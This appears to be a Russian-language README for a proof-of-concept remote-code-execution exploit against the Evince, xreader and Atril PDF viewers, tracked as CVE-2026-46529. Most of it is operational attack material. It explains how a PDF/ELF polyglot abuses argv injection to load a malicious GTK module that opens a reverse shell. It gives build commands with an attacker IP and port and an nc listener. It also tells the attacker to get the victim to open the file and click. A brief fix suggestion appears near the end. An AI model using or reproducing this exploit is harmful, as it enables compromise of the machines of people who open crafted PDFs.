
Эксплойт RCE для Evince/xreader/Atril к CVE-2026-46529
Рабочее доказательство концепции для внедрения argv в ev_spawn() (shell/ev-application.c). Один клик в любом месте отображаемой страницы созданного PDF запускает произвольное выполнение кода от имени пользователя, запустившего просмотрщик.
Этот релиз использует технику подстановки %f: путь цели dlopen определяется самим просмотрщиком во время выполнения, поэтому атакующему не нужно знать, где полиглот оказывается в файловой системе жертвы (ни имя пользователя, ни $HOME, ни каталог загрузок).
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| Файл | Назначение |
|---|
exploit.sh | Однострочный обертка: компиляция + сборка полиглота одной командой. |
evil_gtk_module.c | Исходный код полезной нагрузки. Конструктор открывает обратную оболочку и оставляет маркер в /tmp/PWNED_atril_<pid>.txt. |
build_polyglot.py | Сборщик полиглота. Объединяет скомпилированный evil.so с минимальным телом PDF, содержащим действие /GoToR и подстановку %f. |
Сборку необходимо выполнять на Linux-хосте с архитектурой, совпадающей с архитектурой жертвы. evil_gtk_module.c переносим между архитектурами; полученный ELF является архитектурно-зависимым. macOS не может создать .so, так как компоновщик Apple не принимает флаги GNU build-id.
ev_spawn() строит командную строку запуска, интерполируя строки /D (именованная цель) и /F (спецификация файла) из PDF без g_shell_quote. Результат снова разбирается в argv с помощью g_app_info_create_from_commandline → g_shell_parse_argv. Создание /D с ведущим пробелом и --gtk-module=... заставляет порожденный дочерний просмотрщик получить --gtk-module= как отдельный элемент argv, который gtk_init() обрабатывает через g_module_open() (т.е. dlopen). Любой конструктор в загруженном ELF выполняется от имени жертвы.
Полиглот представляет собой единый файл, который одновременно является корректным PDF и корректной разделяемой библиотекой ELF — маркер %PDF-1.4 вписан внутрь слота SHA1 .note.gnu.build-id (смещение 0x1d8), который poppler принимает, так как сканирует первые 1024 байта на наличие магической последовательности, а ld.so принимает, так как содержимое build-id является информационным.
Трюк с %f (этот релиз) закрывает последний фрагмент. Вместо жесткого кодирования пути полиглота внутри PDF мы встраиваем плейсхолдер %f из glib. g_app_info_launch_uris из glib заменяет %f на локальный путь URI, который atril разрешила во время выполнения через g_path_get_dirname(source_uri) + /F.basename. В argv порожденного дочернего процесса оказывается --gtk-module=<actual-runtime-path>, dlopen успешен, RCE.
/F устанавливается в <basename>?1, а не просто <basename>, потому что ev_application_open_uri_at_dest() замыкается и просто переходит (вместо порождения), когда разрешенный URI /F равен исходному URI. Замыкающая строка запроса делает URI отличным; g_filename_from_uri из glib удаляет её при построении %f.
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
Результат: report.pdf с встроенной целью обратной оболочки. Разверните на жертве с тем же базовым именем (любой каталог), запустите слушатель, попросите жертву открыть его в atril и щелкнуть в любом месте страницы.
# Атакующий:
nc -lvnp 4444
# Жертва:
atril /any/where/report.pdf
# щелкните в любом месте отображаемой страницы → оболочка
Базовое имя, встроенное в /F, получается из имени выходного файла, поэтому полиглот ожидает развертывания как report.pdf. Каталог не имеет значения — atril разрешает полный путь во время выполнения через подстановку %f. Аннотация Link покрывает весь MediaBox, поэтому любой щелчок запускает действие. Также записывается маркерный файл в /tmp/PWNED_atril_<pid>.txt.
exploit.sh| Опция | Описание |
|---|---|
-o, --output FILE | Путь к выходному PDF (по умолчанию: polyglot.pdf) |
--ip IP | IP-адрес цели обратной оболочки (по умолчанию: 127.0.0.1) |
--port PORT | Порт цели обратной оболочки (по умолчанию: 9000) |
--cc COMPILER | Компилятор C (по умолчанию: gcc, env: CC) |
--keep-so | Не удалять evil.so после сборки |
-h, --help | Показать справку |
Пример кросс-компиляции (сборка полиглота aarch64 на хосте x86_64):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh)Если вы хотите полный контроль над каждым шагом:
Скомпилируйте evil.so с вашими IP/портом.
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
Соберите полиглот.
python3 build_polyglot.py evil.so <output.pdf>
Базовое имя, встроенное в /F, получается из имени выходного файла. Разверните полиглот на жертве с тем же базовым именем — каталог не имеет значения, atril разрешит его во время выполнения.
Подтверждено:
Уязвимый код (ev_spawn и путь открытия /GoToR) является общим для всех трёх. upstream evince содержит ту же ошибку; единственное отличие в новых сборках evince в том, что GTK4 убрал флаг командной строки --gtk-module=, что закрывает этот конкретный приём dlopen. Сборки evince против GTK3 (большинство LTS-дистрибутивов на момент написания) остаются уязвимыми.
Ошибка существовала с начала 2010-х, когда была написана конструкция командной строки ev_spawn. Исправление простое: обернуть каждый контролируемый атакующим компонент в g_shell_quote перед g_string_append_printf, или перейти на передачу argv в виде списка в g_spawn_async (полностью избегая цикла разбора оболочки).
Сохранение имени файла. Базовое имя, встроенное в /F, должно совпадать с именем файла полиглота на диске жертвы в момент срабатывания. Если жертва переименует файл перед открытием, atril разрешит /F в несуществующий путь, и dlopen не сработает.
GTK4. Новые сборки evince против GTK4 убрали флаг командной строки --gtk-module=, что закрывает этот конкретный приём dlopen. Само внедрение argv всё ещё присутствует — только этот конкретный путь эксплуатации смягчён в GTK4.
J.Medeiros